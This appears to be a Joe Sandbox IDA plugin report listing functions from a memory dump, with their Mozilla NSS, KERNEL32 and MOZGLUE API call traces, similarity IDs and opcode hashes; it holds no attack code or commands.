Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: f00a1fd0c553c3a0f54f96962d73b81da4041f06847eaa74b222ba93af7d1c63
Instruction ID: 4dfb7a14ec317c705281f7465ae219b0088cd6a3ae8677ba0c84ca4a064d1ff0
Opcode Fuzzy Hash: f00a1fd0c553c3a0f54f96962d73b81da4041f06847eaa74b222ba93af7d1c63
Instruction Fuzzy Hash: 0021A175B15592DBD710CF29D840A6AB7B1FF44718B2D8229E819ABF40DB31F850CBD2

Function 6CAFBE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CAAE708,00000000,00000000,00000004,00000000), ref: 6CAFBE6A

Part of subcall function 6CB00840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CB008B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CAB04DC,?), ref: 6CAFBE7E

Part of subcall function 6CAFFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAF8D2D,?,00000000,?), ref: 6CAFFB85
Part of subcall function 6CAFFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAFFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CAFBEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CAB04DC,?,?), ref: 6CAFBED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CAFBEEB

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 92927d00819075f131b08fdd8b769838583f703efa31f462c6b53ae18c029efd
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: F311277660434567F700996AFD80F5B73BDAB40798F084225FE2487B52E731DC8A87E1

Function 6CAAAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CAA3FFF,00000000,?,?,?,?,?,6CAA1A1C,00000000,00000000), ref: 6CAAADA7

Part of subcall function 6CB014C0: TlsGetValue.KERNEL32 ref: 6CB014E0
Part of subcall function 6CB014C0: EnterCriticalSection.KERNEL32 ref: 6CB014F5
Part of subcall function 6CB014C0: PR_Unlock.NSS3 ref: 6CB0150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CAA3FFF,00000000,?,?,?,?,?,6CAA1A1C,00000000,00000000), ref: 6CAAADB4

Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB010F3
Part of subcall function 6CB010C0: EnterCriticalSection.KERNEL32(?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0110C
Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01141
Part of subcall function 6CB010C0: PR_Unlock.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01182
Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CAA3FFF,?,?,?,?,6CAA3FFF,00000000,?,?,?,?,?,6CAA1A1C,00000000), ref: 6CAAADD5

Part of subcall function 6CAFFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAF8D2D,?,00000000,?), ref: 6CAFFB85
Part of subcall function 6CAFFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAFFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CBC94B0,?,?,?,?,?,?,?,?,6CAA3FFF,00000000,?), ref: 6CAAADEC

Part of subcall function 6CAFB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBD18D0,?), ref: 6CAFB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAA3FFF), ref: 6CAAAE3C

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: b440b8d368c42b8e18e57efd1339ce8901c51065c1f308e7bb4ee7c4bfe6b641
Instruction ID: 119a93f104238bad5b63a5091f76bbe5aba13f48256c49321f9b39c13dafa9c7
Opcode Fuzzy Hash: b440b8d368c42b8e18e57efd1339ce8901c51065c1f308e7bb4ee7c4bfe6b641
Instruction Fuzzy Hash: 33115931F003545BE7109BA59C00BBF73F8DF5114CF084229FC5997B41F720E98986A2

Function 6CAC8E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CAE2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CAB4F1C), ref: 6CAC8EA2

Part of subcall function 6CAEF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CAEF854
Part of subcall function 6CAEF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CAEF868
Part of subcall function 6CAEF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CAEF882
Part of subcall function 6CAEF820: free.MOZGLUE(04C483FF,?,?), ref: 6CAEF889
Part of subcall function 6CAEF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CAEF8A4
Part of subcall function 6CAEF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CAEF8AB
Part of subcall function 6CAEF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CAEF8C9
Part of subcall function 6CAEF820: free.MOZGLUE(280F10EC,?,?), ref: 6CAEF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CAE2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CAB4F1C), ref: 6CAC8EC3
TlsGetValue.KERNEL32(?,?,?,6CAE2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CAB4F1C), ref: 6CAC8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CAE2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAC8EF1
PR_Unlock.NSS3 ref: 6CAC8F20

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: 7f78daa2270aa5110ed81f8eb5765562591f9d0d1549fb1e1ce90fb552fa9d52
Instruction ID: 6651939f80688bb74ed4d1e1655f6cf13951a02582b0c932cc20d05771efe3be
Opcode Fuzzy Hash: 7f78daa2270aa5110ed81f8eb5765562591f9d0d1549fb1e1ce90fb552fa9d52
Instruction Fuzzy Hash: EF218D70A096059FD700AF29D5842A9BBF4FF48318F05856EEC989BB41DB30E894CBD2

Function 6CAC28A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CAB80DD), ref: 6CAC28BA
EnterCriticalSection.KERNEL32(?,?,?,?,6CAB80DD), ref: 6CAC28D3
PR_Unlock.NSS3(?,?,?,?,?,6CAB80DD), ref: 6CAC28E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6CAB80DD), ref: 6CAC290E
free.MOZGLUE(?,?,?,?,?,?,6CAB80DD), ref: 6CAC291A

Part of subcall function 6CAB9270: DeleteCriticalSection.KERNEL32(?,?,6CAC5089,?,6CAC3B70,?,?,?,?,?,6CAC5089,6CABF39B,00000000), ref: 6CAB927F
Part of subcall function 6CAB9270: free.MOZGLUE(?,?,6CAC3B70,?,?,?,?,?,6CAC5089,6CABF39B,00000000), ref: 6CAB9286
Part of subcall function 6CAB9270: PL_HashTableDestroy.NSS3(?,6CAC3B70,?,?,?,?,?,6CAC5089,6CABF39B,00000000), ref: 6CAB9292

Part of subcall function 6CAB8B50: TlsGetValue.KERNEL32(00000000,?,6CAC0948,00000000), ref: 6CAB8B6B
Part of subcall function 6CAB8B50: EnterCriticalSection.KERNEL32(?,?,?,6CAC0948,00000000), ref: 6CAB8B80
Part of subcall function 6CAB8B50: PL_FinishArenaPool.NSS3(?,?,?,?,6CAC0948,00000000), ref: 6CAB8B8F
Part of subcall function 6CAB8B50: PR_Unlock.NSS3(?,?,?,?,6CAC0948,00000000), ref: 6CAB8BA1
Part of subcall function 6CAB8B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6CAC0948,00000000), ref: 6CAB8BAC
Part of subcall function 6CAB8B50: free.MOZGLUE(?,?,?,?,?,6CAC0948,00000000), ref: 6CAB8BB8

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 37e29f5d67ae7a61d21955984ad3215e37416b6eaad80600124dd9590e19775c
Instruction ID: 7b77cd72667b8ee8e5d3ebba09352de019818e7e0b443ff20901ea5c0d760c67
Opcode Fuzzy Hash: 37e29f5d67ae7a61d21955984ad3215e37416b6eaad80600124dd9590e19775c
Instruction Fuzzy Hash: 672139B5A04A058BDB00AFB8C188469BBF4FF05354F054A29DC9897B00EB34E8D9CB92

Function 6CAB8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CAC0710), ref: 6CAB8FF1
PR_CallOnce.NSS3(6CC02158,6CAB9150,00000000,?,?,?,6CAB9138,?,6CAC0710), ref: 6CAB9029
calloc.MOZGLUE(00000001,00000000,?,?,6CAC0710), ref: 6CAB904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CAC0710), ref: 6CAB9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CAC0710), ref: 6CAB9078

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: afe81154d393fc03e2c6d84e6efe851cddfe21652026ee715e36085da085bfeb
Instruction ID: 0a0340442ecb92987f8c5c045256d55d541756c353bf49dbade7e779b86a5e24
Opcode Fuzzy Hash: afe81154d393fc03e2c6d84e6efe851cddfe21652026ee715e36085da085bfeb
Instruction Fuzzy Hash: B311E13170016157E7201ABDAD44A6A36BCEBA27ACF590135FC48E6F81F767CDC583A2

Function 6CACCD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CAE1E10: TlsGetValue.KERNEL32 ref: 6CAE1E36
Part of subcall function 6CAE1E10: EnterCriticalSection.KERNEL32(?,?,?,6CABB1EE,2404110F,?,?), ref: 6CAE1E4B
Part of subcall function 6CAE1E10: PR_Unlock.NSS3 ref: 6CAE1E76

free.MOZGLUE(?,6CACD079,00000000,00000001), ref: 6CACCDA5
PK11_FreeSymKey.NSS3(?,6CACD079,00000000,00000001), ref: 6CACCDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CACD079,00000000,00000001), ref: 6CACCDCF
DeleteCriticalSection.KERNEL32(?,6CACD079,00000000,00000001), ref: 6CACCDE2
free.MOZGLUE(?), ref: 6CACCDE9

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 1dc3327eda7ed08e3745aec8f687c05e76c191419b841396fc7d337d29b59ac5
Instruction ID: a2f2891129208cddca63691f6ced32751132ce2bb748f49781b33c306138d615
Opcode Fuzzy Hash: 1dc3327eda7ed08e3745aec8f687c05e76c191419b841396fc7d337d29b59ac5
Instruction Fuzzy Hash: 3011C2B2B01116ABEB00AF65EC44A96B77CFF0435C7180121E91987E01E732F4B8C7E2

Function 6CB32CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CB35B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB35B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB32CEC

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

PR_EnterMonitor.NSS3(?), ref: 6CB32D02
PR_EnterMonitor.NSS3(?), ref: 6CB32D1F
PR_ExitMonitor.NSS3(?), ref: 6CB32D42
PR_ExitMonitor.NSS3(?), ref: 6CB32D5B

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 70f7592b69c7513f9602657e8817e630bfcce8fdfabaab862eec199149b51039
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: A60108B19002A06BE6319F26FC40BCBB3A5EF41318F005525E85D86B11E632F41987D3

Function 6CB32D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CB35B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB35B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB32D9C

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

PR_EnterMonitor.NSS3(?), ref: 6CB32DB2
PR_EnterMonitor.NSS3(?), ref: 6CB32DCF
PR_ExitMonitor.NSS3(?), ref: 6CB32DF2
PR_ExitMonitor.NSS3(?), ref: 6CB32E0B

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: eb4caabce176d4d7b310c395b7354b2c48b6f378fb39511d43c4f1ccbb31f916
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 0E01C8B59042A05BE6309F26FC01BCBB7A5EF41318F005435E95D87B11D632F41986D3

Function 6CACAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CAB3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CACAE42), ref: 6CAB30AA
Part of subcall function 6CAB3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAB30C7
Part of subcall function 6CAB3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CAB30E5
Part of subcall function 6CAB3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAB3116
Part of subcall function 6CAB3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CAB312B
Part of subcall function 6CAB3090: PK11_DestroyObject.NSS3(?,?), ref: 6CAB3154
Part of subcall function 6CAB3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CAA99FF,?,?,?,?,?,?,?,?,?,6CAA2D6B,?), ref: 6CACAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CAA99FF,?,?,?,?,?,?,?,?,?,6CAA2D6B,?), ref: 6CACAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CAA2D6B,?,?,00000000), ref: 6CACAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CAA2D6B,?,?,00000000), ref: 6CACAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CAA2D6B,?,?), ref: 6CACAEA3

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: a264be12192055ce7a0e2873e082d2dbd06dd3488cc3381ff816480d8fea9c07
Instruction ID: 49c1786d6fae7ea02a7c0f6ea1fe22730296c6b0dccd7d63c76e1adc3fb943d0
Opcode Fuzzy Hash: a264be12192055ce7a0e2873e082d2dbd06dd3488cc3381ff816480d8fea9c07
Instruction Fuzzy Hash: 7301A476B4403097E701A26CAD85ABB31AA8B8765CF080532F90AE7B41F625DDC942E3

Function 6CBBBDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CBB7AFE,?,?,?,?,?,?,?,?,6CBB798A), ref: 6CBBBDC3
free.MOZGLUE(?,?,6CBB7AFE,?,?,?,?,?,?,?,?,6CBB798A), ref: 6CBBBDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CBB7AFE,?,?,?,?,?,?,?,?,6CBB798A), ref: 6CBBBDE9
free.MOZGLUE(?,00000000,00000000,?,6CBB7AFE,?,?,?,?,?,?,?,?,6CBB798A), ref: 6CBBBE21
free.MOZGLUE(00000000,00000000,?,6CBB7AFE,?,?,?,?,?,?,?,?,6CBB798A), ref: 6CBBBE32

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 4cf533b6cef9d77153f635632a8cb7547a0df659b866a5b20c0f4fc4893210ca
Instruction ID: b087e7b83a0ba4d542da41bec2f8e6c6a168300eec77ded3499928dc35594a59
Opcode Fuzzy Hash: 4cf533b6cef9d77153f635632a8cb7547a0df659b866a5b20c0f4fc4893210ca
Instruction Fuzzy Hash: 151115B5B013509FDF11DF29D869B023BB9FB4B358B06002EE50AD7710E732A45ADB92

Function 6CBB7C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CBB7C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBB7C83
malloc.MOZGLUE(00000001), ref: 6CBB7C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBB7C9F
PR_GetCurrentThread.NSS3 ref: 6CBB7CAD

Part of subcall function 6CB69BF0: TlsGetValue.KERNEL32(?,?,?,6CBB0A75), ref: 6CB69C07

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 9660db4ce75b56a8af63ce0ffeaf8acd404c556cd15eae1d343c94ccb8e2215c
Instruction ID: 652bbd872db42f315cf850785ecd6291a8260cb5e3b05368559de7fbbf7a28e4
Opcode Fuzzy Hash: 9660db4ce75b56a8af63ce0ffeaf8acd404c556cd15eae1d343c94ccb8e2215c
Instruction Fuzzy Hash: DAF0C2B19106966BEB009F7BDC0996B7758EF01265B018479E80DE3B10EB34F114CAE5

Function 6CBBADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

